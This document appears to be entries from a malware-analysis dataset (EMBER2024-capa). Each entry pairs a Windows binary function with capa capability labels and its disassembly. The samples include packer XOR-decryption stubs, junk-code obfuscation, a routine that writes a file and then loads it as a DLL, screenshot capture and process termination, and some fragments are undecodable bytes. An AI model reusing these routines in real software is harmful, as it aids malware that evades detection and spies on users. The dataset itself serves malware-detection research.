joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004950
Capabilities:
Check internet connectivity via wininet
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x100161e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x110
xor esi, esi
lea eax, [ebp - 0x114]
push esi
push eax
call fcn.10006f20
add esp, 0xc
lea ecx, [ebp - 0x118]
push ecx
mov dword [ebp - 0x118], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x1000499f
cmp dword [ebp - 0x114], 6
jae 0x100049cb
push esi
lea edx, [ebp - 0x11c]
push edx
mov dword [ebp - 0x11c], esi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x10004a2f
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006a6c
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x120]
push eax
push 0x10011d3c
push 0x17
push esi
push 0x10011d4c
mov dword [ebp - 0x120], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x10004a2f
mov eax, dword [ebp - 0x120]
cmp eax, esi
je 0x10004a2f
lea edx, [ebp - 0x11c]
mov dword [ebp - 0x11c], esi
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x30]
call eax
test eax, eax
js 0x10004a21
cmp word [ebp - 0x11c], 0xffff
jne 0x10004a21
mov esi, 1
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10006a6c
mov esp, ebp
pop ebp
ret
Function at 0x10004d10
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x100161e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x20a]
push edx
mov dword [ebp - 0x210], eax
mov word [ebp - 0x20c], cx
call fcn.10006f20
add esp, 0xc
push 0
push 0x1c
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x20c]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x10004d70
mov ecx, dword [0x100118bc]
mov edx, dword [0x100118c0]
mov dword [eax], ecx
mov ecx, dword [0x100118c4]
mov dword [eax + 4], edx
mov edx, dword [0x100118c8]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
test ebx, ebx
je 0x10004dde
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [eax + 1]
cmp edi, 0x3fffffff
jg 0x10004dde
lea eax, [edi + edi]
call fcn.10007400
mov esi, esp
test esi, esi
je 0x10004dde
push edi
push esi
push 0xffffffffffffffff
xor eax, eax
push ebx
push eax
push 3
mov word [esi], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
neg eax
sbb eax, eax
and eax, esi
jmp 0x10004de0
xor eax, eax
mov esi, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10004de2
lea edi, [ebp - 0x20c]
sub eax, esi
add edi, 0xfffffffe
jmp 0x10004e00
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10004e00
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 2
push 0
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push 0x40000000
lea ecx, [ebp - 0x20c]
push ecx
mov dword [ebp - 0x214], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 0x210]
push 0
mov esi, eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x214]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x10004e8e
push 0x100118b8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10004e8e
push 0
push 0x1eb369
call eax
lea esp, [ebp - 0x220]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006a6c
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10004f70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x100161e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor eax, eax
push 0x206
mov ebx, ecx
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.10006f20
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x20c]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x10004fc5
mov ecx, dword [0x100118bc]
mov edx, dword [0x100118c0]
mov dword [eax], ecx
mov ecx, dword [0x100118c4]
mov dword [eax + 4], edx
mov edx, dword [0x100118c8]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov eax, esi
mov edx, esi
jmp 0x10005000
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10005000
lea edi, [ebp - 0x20c]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10005016
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x20c]
rep movsb byte es:[edi], byte [esi]
push eax
mov ecx, ebx
call fcn.10004c00
pop edi
pop esi
pop ebx
test eax, eax
jne 0x1000504a
mov eax, 0xffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006a6c
mov esp, ebp
pop ebp
ret 4

Function at 0x10005fd0
Capabilities:
Create thread

Disassembly:
push esi
push 0
mov esi, ecx
call fcn.100072de
push eax
call fcn.100075bb
add esp, 8
mov dword [0x10017124], esi
call fcn.100075cd
cdq
mov ecx, 0x18
idiv ecx
push 0x10005fb0
add edx, ecx
imul edx, edx, 0x36ee80
push edx
push 0x8197
push 0
call dword [sym.imp.USER32.dll_SetTimer]
push esi
push 0
push 0x10005f90
call fcn.10007514
add esp, 0xc
pop esi
ret

Function at 0x10006030
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push edi
mov ebx, ecx
mov dword [ebp - 4], 0
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x100060bc
push esi
call fcn.100066e7
add esp, 4
mov dword [ebx + 0x38], eax
test eax, eax
je 0x100060bc
push eax
push esi
push 0
push edi
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x100060bc
lea ecx, [ebp - 8]
push ecx
xor eax, eax
lea edx, [ebp + 8]
push edx
mov dword [ebp - 8], eax
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x38]
push 0x10011ccc
push eax
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x100060bc
mov esi, dword [ebp + 8]
lea edi, [ebx + 4]
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
cmp dword [ebx + 4], 0xfeef04bd
pop edi
sete cl
pop esi
mov dword [ebx + 0x48], ecx
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebx + 0x48]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10006a6c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100161e0]
jne 0x10006a76
repz ret
jmp fcn.10008638
Function at 0x1000ca1b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100161e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10009416
and dword [ebp - 0x14], 0
cmp dword [0x10017dfc], 0
mov dword [ebp - 0x18], eax
jne 0x1000cace
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000cb76
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000cb76
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10017dfc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10017e00], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10017e04], eax
call edi
push eax
call esi
mov dword [0x10017e0c], eax
test eax, eax
je 0x1000cace
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10017e08], eax
mov eax, dword [0x10017e08]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000cb27
cmp dword [0x10017e0c], ecx
je 0x1000cb27
push eax
call esi
push dword [0x10017e0c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000cb27
test ebx, ebx
je 0x1000cb27
call edi
test eax, eax
je 0x1000cb1e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000cb1e
test byte [ebp - 8], 1
jne 0x1000cb27
or dword [ebp + 0x10], 0x200000
jmp 0x1000cb5a
mov eax, dword [0x10017e00]
cmp eax, dword [ebp - 0x18]
je 0x1000cb5a
push eax
call esi
test eax, eax
je 0x1000cb5a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000cb5a
mov eax, dword [0x10017e04]
cmp eax, dword [ebp - 0x18]
je 0x1000cb5a
push eax
call esi
test eax, eax
je 0x1000cb5a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10017dfc]
call esi
test eax, eax
je 0x1000cb76
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000cb78
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006a6c
leave
ret
Function at 0x401000
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x40109b
mov dword [0x403050], eax
mov dword [0x403054], 0x128
push 0x403054
push dword [0x403050]
call sub.kernel32.dll_Process32First
or eax, eax
je 0x40107b
push 0x403078
push str.notepad.exe
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x401065
push dword [0x40305c]
push 0
push 1
call sub.kernel32.dll_OpenProcess
or eax, eax
je 0x401065
push 0
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x401065
push 0x403054
push dword [0x403050]
call sub.kernel32.dll_Process32Next
test eax, eax
jne 0x401035
jmp 0x40108e
push 0x10
push str.Killa
push str.Process32First_failed.
push 0
call sub.user32.dll_MessageBoxA
push dword [0x403050]
call sub.kernel32.dll_CloseHandle
jmp 0x4010ae
push 0x10
push str.Killa
push str.CreateToolhelp32Snapshot_failed.
push 0
call sub.user32.dll_MessageBoxA
push 0
call sub.kernel32.dll_ExitProcess
int3

Function at 0x401608
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.00401670
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
mov eax, dword [ebp - 8]
leave
ret 4
Function at 0x404d43
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404ddd
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
jmp 0x404e60
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
test esi, esi
jne 0x404e64
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
xor eax, eax
jmp 0x404eab
sub eax, dword [0x4160e4]
add ecx, dword [0x4160ec]
inc ecx
mov ebx, ebx
sub edx, dword [0x4160e8]
sub ecx, dword [0x4160ec]
add edx, dword [0x4160e8]
mov edx, edx
add ebx, dword [str.hBx]
add eax, dword [0x4160e4]
lea ebx, [ebx]
sub ebx, dword [str.hBx]
lea ecx, [ecx]
dec ecx
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
pop esi
pop ebx
leave
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x240f598c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x29d13179
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40279c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4051fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405235
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403278
jmp 0x40523e
mov eax, ebx
mov edx, esi
call fcn.0040322c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405248
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405269
mov al, byte [esp]
jmp 0x40526b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x405d71
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push ebx
mov dword [ebp - 4], eax
mov eax, 0x13
cmp cl, 0
jne 0x405d5b
mov eax, dword [ebp + 0xc]
cmp eax, 2
jge 0x405d51
mov eax, 2
cmp eax, 0x12
jle 0x405d5b
mov eax, 0x12
mov dword [ebp + 0xc], eax
push eax
mov eax, 0x270f
cmp byte [ebp + 0x10], 2
jb 0x405d6d
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push 0x6907efee
mov ecx, 0x10e6f172
pop esi
xor ecx, esi
push ecx
push 0x1a0f76a
mov edx, 0x2c3d085c
pop ecx
xor edx, ecx
mov esi, edx
xor esi, 0xffffffff
and esi, 0x543c30c2
and edx, 0xabc3cf3d
or edx, esi
pop ebx
xor edx, ebx
mov eax, dword [edx]
mov ebx, 0x9b3761
xor ebx, 0x9b3761
push ebx
mov esi, esp
push esi
pop edi
mov esi, 0x26656a23
xor esi, 0x26656a27
sub esp, esi
mov dword [esp], edi
push 0x26e6a4b9
mov esi, 0x26e6a4f9
pop edi
xor esi, edi
push esi
mov ebx, 0x116205e2
xor ebx, 0x116291e2
push ebx
mov esi, 0x739239e5
xor esi, 0x73d229e5
push esi
call eax
pop ecx
mov edx, 0x66e72c90
xor edx, 0x66e72e90
mov esi, 0x180e5b1a
mov eax, 0x180e5b3e
xor eax, esi
xor edx, eax
mov esi, 0x513121d
xor esi, 0x201a6423
push 0x22d6f749
mov edi, 0x7df8076
pop eax
xor edi, eax
xor edi, esi
xor edx, edi
mov esi, 0x492e3581
add esi, 0xffffffd1
push esi
mov esi, 0x349510b5
mov ecx, 0x600444a8
xor ecx, esi
mov esi, 0x1eb6f0ae
mov ebx, 0x349da67
xor ebx, esi
xor ebx, ecx
pop eax
xor ebx, eax
mov esi, 0x6a3471e7
xor esi, 0x12b80ad5
push esi
mov esi, 0x38dff291
xor esi, 0x3bd2af88
push esi
mov edi, 0x2b63c244
xor edi, 0x50a268d1
pop eax
xor edi, eax
pop ecx
xor edi, ecx
mov ecx, edx
add esp, 0xfffffffc
mov dword [esp], ecx
pop eax
add esp, 0xfffffffc
push esp
pop esi
mov dword [esi], eax
xor ecx, ecx
add ecx, edi
mov esi, 4
sub esp, esi
mov dword [esp], ecx
xor edx, edx
mov dl, byte [ebx]
add edi, edx
mov dl, byte [edi]
push 0x26dfc52a
mov esi, 0x4d39ed56
pop ecx
xor esi, ecx
mov eax, 0x804134
mov ecx, 0xb3369243
xor eax, ecx
xor eax, esi
push 0x43cdf9fd
mov ecx, 0x43cdf9fd
pop esi
xor ecx, esi
xor ecx, edi
sub ecx, 0
invalid
invalid
Function at 0x433003
Capabilities:
Authenticate hmac
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x40de38
nop
mov ecx, 0x4cc12c4c
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x50877ad1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x8003b13
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x800438c], 0x30
mov dword [0x8004394], 0x8003424
mov dword [0x8004390], 2
mov dword [0x8004398], 0
mov dword [0x800439c], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b56
mov dword [0x80043a0], eax
mov dword [0x80043b4], 0x80041cc
mov dword [0x80043ac], 0xf
mov dword [0x80040ee], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043a4], eax
mov dword [0x80043b8], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x80040f6], ebp
mov dword [0x80043a8], eax
push 0x800438c
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x800440c], eax
push 0
push dword [0x80040ee]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x8004404], eax
push 1
push dword [0x8004404]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x8004404]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c14
xor edi, edi
lea ebx, [0x80043bc]
jmp 0x8003c2c
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c1e
jmp 0x8003c40
mov eax, dword [0x80043c4]
call 0x8002b1f
ret

Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xa56218a8
sbb eax, 0xa054bd
xlatb
and al, 0x53
xor ah, dh
fcomp qword [edi + 0xb8270fd]
cmc
sub eax, 0x3d0774e4
sbb byte [edi + 0x17], bl
aaa
xor ecx, edx
jecxz 0x419b1c
jl 0x419b5b
mov dword [0x7e9c2ec7], eax
inc edi
out 0xd0, eax
mov edi, dword [esi]
sbb esi, dword [edx]
int 0xcf
rcl byte [eax]
fiadd dword [ebp + 0x12]
jecxz 0x419b69
sbb al, byte [eax + eax + 0x74000000]
stc
test byte [eax], al
add byte [eax], al
add byte [ecx + edi*8 - 0x43], dh
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
invalid
jp 0x419b0c
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
call 0xab419b88
jae 0x419b16
add byte [ebx + 0x26000673], ch
add byte [esi], ah
add eax, 0x31a8d00
add byte [ecx], ch
cdq
sub byte [0x45157ab7], 0x2e
loopne 0x419abf
add eax, dword [eax]
sub dword [ecx + 0x7ab72d82], ebx
mov bh, 0x7a
adc eax, 0x9ce02e45
int 0x9e
fimul dword [ebp - 0x7d]
shr byte [edx - 0x675b92], 0xf3
ja 0x419b81
leave
inc edi
hlt
jge 0x419bb6
outsd dx, dword [esi]
dec eax
mov bl, dh
xor esi, ebp
aas
wait
sbb ebx, ebx
std
clc
into
ret 0xab06
salc
adc eax, 0xe3fec155
mov dword [0x7160e872], eax
and dword gs:[eax], ebx
lea ebp, [edx]
lea eax, [eax]
cmpsd dword [esi], dword es:[edi]
std
mov ebp, 0x4b70e31b
dec edi
sbb ch, cl
mov eax, 0xdabfde48
hlt
int 0xf8
scasb al, byte es:[edi]
xor ebx, dword [ebx + 0x54]
ret
Function at 0x40100c
Capabilities:
Capture screenshot

Disassembly:
call 0x40100c
push 0
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffac
push esi
lea esi, [0x4022c0]
push esi
call fcn.004011fc
cmp eax, 2
je 0x401027
pop esi
leave
ret
push 0
call sub.user32.dll_GetDC
mov dword [ebp - 0x18], eax
push eax
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 0x1c], eax
push 0
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 0x20], eax
push 1
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 0x24], eax
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x18]
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 0x14], eax
push eax
push dword [ebp - 0x1c]
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0x28], eax
push 0xcc0020
push 0
push 0
push dword [ebp - 0x18]
push dword [ebp - 0x24]
push dword [ebp - 0x20]
push 0
push 0
push dword [ebp - 0x1c]
call sub.gdi32.dll_BitBlt
push dword [ebp - 0x28]
push dword [ebp - 0x1c]
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0x3c], 0x14
mov dword [ebp - 0x38], 1
push dword [ebp - 0x14]
pop dword [ebp - 0x34]
mov dword [ebp - 0x30], 0
lea edx, [ebp - 4]
push edx
push 1
push section..data
lea eax, [ebp - 0x3c]
push eax
call sub.oleaut32.dll_OleCreatePictureIndirect
lea eax, [ebp - 0xc]
push eax
push 1
push 0
call sub.ole32.dll_CreateStreamOnHGlobal
lea eax, [ebp - 0x10]
push eax
push 1
push dword [ebp - 0xc]
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
call sub.ole32.dll_GetHGlobalFromStream
push dword [ebp - 8]
call sub.kernel32.dll_GlobalLock
push dword [ebp - 0x10]
push eax
push dword [esi + 4]
call fcn.00401130
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 8]
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 8]
push dword [ebp - 0x14]
call sub.gdi32.dll_DeleteObject
push dword [ebp - 0x1c]
call sub.gdi32.dll_DeleteDC
push dword [ebp - 0x18]
push 0
call sub.user32.dll_ReleaseDC
pop esi
leave
ret

Function at 0x401130
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push dword [esp + 0x28]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x401187
mov dword [esp + 8], eax
lea edx, [esp + 4]
push 0
push edx
push dword [esp + 0x20]
push dword [esp + 0x20]
push eax
call sub.kernel32.dll_WriteFile
test eax, eax
je 0x401187
push dword [esp + 8]
call sub.kernel32.dll_CloseHandle
test eax, eax
jne 0x401182
mov eax, 1
jmp 0x401187
mov eax, 2
pop edi
add esp, 8
ret 0xc